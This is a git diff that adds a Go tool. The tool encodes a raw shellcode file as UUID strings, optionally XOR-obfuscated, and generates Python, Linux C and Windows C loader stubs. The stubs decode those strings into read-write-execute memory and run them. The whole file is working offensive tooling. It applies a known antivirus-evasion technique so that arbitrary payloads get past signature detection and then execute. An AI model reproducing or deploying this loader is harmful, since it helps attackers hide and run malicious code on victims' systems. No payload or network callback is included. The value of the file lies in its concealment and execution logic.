aboutsummaryrefslogtreecommitdiff
path: root/main.go
diff options
context:
space:
mode:
Diffstat (limited to 'main.go')
-rw-r--r--main.go315
1 files changed, 315 insertions, 0 deletions
diff --git a/main.go b/main.go
new file mode 100644
index 0000000..86820eb
--- /dev/null
+++ b/main.go
@@ -0,0 +1,315 @@
+package main
+
+import (
+ "crypto/rand"
+ "encoding/binary"
+ "flag"
+ "fmt"
+ "os"
+ "text/template"
+)
+
+const pythonStub = `import uuid
+import mmap
+import ctypes
+
+uuids = [
+{{- range .UUIDs }}
+ '{{ . }}',
+{{- end }}
+]
+
+shellcode = b''
+for u in uuids:
+ shellcode += uuid.UUID(u).bytes
+
+shellcode = shellcode[:{{ .OrigLen }}]
+
+{{- if .XORKey }}
+key = {{ .XORKey }}
+shellcode = bytes(b ^ key for b in shellcode)
+{{- end }}
+
+print(f'decoded shellcode length: {len(shellcode)} bytes')
+
+pagesize = mmap.PAGESIZE
+size = ((len(shellcode) + pagesize - 1) // pagesize) * pagesize
+mem = mmap.mmap(-1, size, prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC)
+mem.write(shellcode)
+
+func = ctypes.CFUNCTYPE(None)(ctypes.addressof(ctypes.c_int.from_buffer(mem)))
+print('executing shellcode')
+func()
+`
+
+const cStub = `// gcc -z execstack -fno-stack-protector -no-pie -o stub stub.c
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <string.h>
+#include <ctype.h>
+#include <sys/mman.h>
+
+#define ORIGINAL_SHELLCODE_LENGTH {{ .OrigLen }}
+
+const char* uuid_strings[] = {
+{{- range .UUIDs }}
+ "{{ . }}",
+{{- end }}
+};
+
+uint8_t hexchar(char c) {
+ if ('0' <= c && c <= '9') return c - '0';
+ if ('a' <= c && c <= 'f') return c - 'a' + 10;
+ if ('A' <= c && c <= 'F') return c - 'A' + 10;
+ return 0;
+}
+
+void parse_uuid(const char* str, uint8_t* out) {
+ int j = 0;
+ for (int i = 0; str[i] != '\0' && j < 16; ) {
+ if (str[i] == '-') {
+ ++i;
+ continue;
+ }
+ out[j] = (hexchar(str[i]) << 4) | hexchar(str[i+1]);
+ i += 2;
+ ++j;
+ }
+}
+
+{{- if .XORKey }}
+
+void xor_decode(uint8_t *buf, size_t len, uint8_t key) {
+ for (size_t i = 0; i < len; i++) {
+ buf[i] ^= key;
+ }
+}
+{{- end }}
+
+uint8_t* decode_uuids(size_t count, size_t* out_len) {
+ uint8_t* buf = malloc(count * 16);
+ if (!buf) {
+ fprintf(stderr, "malloc failed\\n");
+ exit(1);
+ }
+
+ for (size_t i = 0; i < count; ++i) {
+ parse_uuid(uuid_strings[i], buf + (i * 16));
+ }
+
+ *out_len = count * 16;
+ return buf;
+}
+
+int main() {
+ size_t shellcode_len = 0;
+ uint8_t* shellcode = decode_uuids(sizeof(uuid_strings) / sizeof(uuid_strings[0]), &shellcode_len);
+
+{{- if .XORKey }}
+ xor_decode(shellcode, shellcode_len, {{ .XORKey }});
+{{- end }}
+
+ printf("decoded shellcode length: %zu\\n", shellcode_len);
+
+ void *exec = mmap(0, shellcode_len, PROT_READ | PROT_WRITE | PROT_EXEC,
+ MAP_ANON | MAP_PRIVATE, -1, 0);
+ if (exec == MAP_FAILED) {
+ perror("mmap");
+ return 1;
+ }
+
+ memcpy(exec, shellcode, ORIGINAL_SHELLCODE_LENGTH);
+ ((void(*)())exec)();
+ printf("successfully executed shellcode\\n");
+
+ free(shellcode);
+ return 0;
+}
+`
+
+const cWinStub = `// x86_64-w64-mingw32-gcc -o stub.exe stub.c -Wl,--nxcompat -Wl,--dynamicbase
+#include <windows.h>
+#include <stdio.h>
+#include <stdint.h>
+#include <stdlib.h>
+
+#define ORIGINAL_SHELLCODE_LENGTH {{ .OrigLen }}
+
+const char* uuid_strings[] = {
+{{- range .UUIDs }}
+ "{{ . }}",
+{{- end }}
+};
+
+uint8_t hexchar(char c) {
+ if ('0' <= c && c <= '9') return c - '0';
+ if ('a' <= c && c <= 'f') return c - 'a' + 10;
+ if ('A' <= c && c <= 'F') return c - 'A' + 10;
+ return 0;
+}
+
+void parse_uuid(const char* str, uint8_t* out) {
+ int j = 0;
+ for (int i = 0; str[i] != '\0' && j < 16; ) {
+ if (str[i] == '-') {
+ ++i;
+ continue;
+ }
+ out[j] = (hexchar(str[i]) << 4) | hexchar(str[i+1]);
+ i += 2;
+ ++j;
+ }
+}
+
+{{- if .XORKey }}
+
+void xor_decode(uint8_t *buf, size_t len, uint8_t key) {
+ for (size_t i = 0; i < len; i++) {
+ buf[i] ^= key;
+ }
+}
+{{- end }}
+
+int main() {
+ size_t count = sizeof(uuid_strings) / sizeof(uuid_strings[0]);
+ uint8_t* shellcode = (uint8_t*)malloc(count * 16);
+ if (!shellcode) {
+ fprintf(stderr, "malloc failed\n");
+ return 1;
+ }
+
+ for (size_t i = 0; i < count; ++i) {
+ parse_uuid(uuid_strings[i], shellcode + i * 16);
+ }
+
+{{if .XORKey }}
+ xor_decode(shellcode, count * 16, {{ .XORKey }});
+{{- end }}
+
+ printf("decoded shellcode length: %zu\n", count * 16);
+
+ void* exec = VirtualAlloc(NULL, count * 16, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
+ if (!exec) {
+ fprintf(stderr, "VirtualAlloc failed\n");
+ free(shellcode);
+ return 1;
+ }
+
+ memcpy(exec, shellcode, ORIGINAL_SHELLCODE_LENGTH);
+
+ ((void(*)())exec)();
+
+ free(shellcode);
+ return 0;
+}
+`
+
+func main() {
+ filePath := flag.String("file", "", "path to binary shellcode file")
+ stubLang := flag.String("stub", "", "stub language to output (c, cwin, py)")
+ xorFlag := flag.Bool("xor", false, "enable random single-byte XOR encoding")
+ flag.Parse()
+
+ if *filePath == "" {
+ flag.Usage()
+ os.Exit(1)
+ }
+
+ data, err := os.ReadFile(*filePath)
+ if err != nil {
+ fmt.Fprintf(os.Stderr, "[err] failed to read file: %v\n", err)
+ os.Exit(1)
+ }
+
+ origLen := len(data)
+ if origLen%16 != 0 {
+ fmt.Printf("[inf] shellcode size (%d bytes) is not a multiple of 16, will pad with nullbytes\n", origLen)
+ pad := 16 - (origLen % 16)
+ data = append(data, make([]byte, pad)...)
+ }
+
+ var xorKey byte = 0
+ if *xorFlag {
+ key := make([]byte, 1)
+ _, err := rand.Read(key)
+ if err != nil {
+ fmt.Fprintf(os.Stderr, "[err] failed to generate XOR key: %v\n", err)
+ os.Exit(1)
+ }
+ xorKey = key[0]
+ fmt.Printf("[inf] using XOR key: 0x%02x\n", xorKey)
+
+ for i := 0; i < len(data); i++ {
+ data[i] ^= xorKey
+ }
+ }
+
+ var uuids []string
+ for i := 0; i < len(data); i += 16 {
+ chunk := data[i : i+16]
+ uuid := formatAsUUID(chunk)
+ uuids = append(uuids, uuid)
+ fmt.Println(uuid)
+ }
+
+ if *stubLang != "" {
+ var stubContent string
+ var fileName string
+
+ switch *stubLang {
+ case "py":
+ stubContent = pythonStub
+ fileName = "stub.py"
+ case "c":
+ stubContent = cStub
+ fileName = "stub.c"
+ case "cwin":
+ stubContent = cWinStub
+ fileName = "stub.c"
+ default:
+ fmt.Fprintf(os.Stderr, "[err] unsupported stub language\n")
+ os.Exit(1)
+ }
+
+ err := renderTemplateToFile(stubContent, uuids, origLen, xorKey, fileName)
+ if err != nil {
+ fmt.Fprintf(os.Stderr, "[err] failed to write stub: %v\n", err)
+ os.Exit(1)
+ }
+ fmt.Printf("[inf] stub written to %s\n", fileName)
+ }
+}
+
+func formatAsUUID(b []byte) string {
+ if len(b) != 16 {
+ return ""
+ }
+ return fmt.Sprintf("%08x-%04x-%04x-%04x-%012x",
+ binary.BigEndian.Uint32(b[0:4]),
+ binary.BigEndian.Uint16(b[4:6]),
+ binary.BigEndian.Uint16(b[6:8]),
+ binary.BigEndian.Uint16(b[8:10]),
+ b[10:16],
+ )
+}
+
+func renderTemplateToFile(tmplStr string, uuids []string, origLen int, xorKey byte, fileName string) error {
+ tmpl, err := template.New("stub").Parse(tmplStr)
+ if err != nil {
+ return err
+ }
+
+ f, err := os.Create(fileName)
+ if err != nil {
+ return err
+ }
+ defer f.Close()
+
+ return tmpl.Execute(f, map[string]interface{}{
+ "UUIDs": uuids,
+ "OrigLen": origLen,
+ "XORKey": xorKey,
+ })
+}
+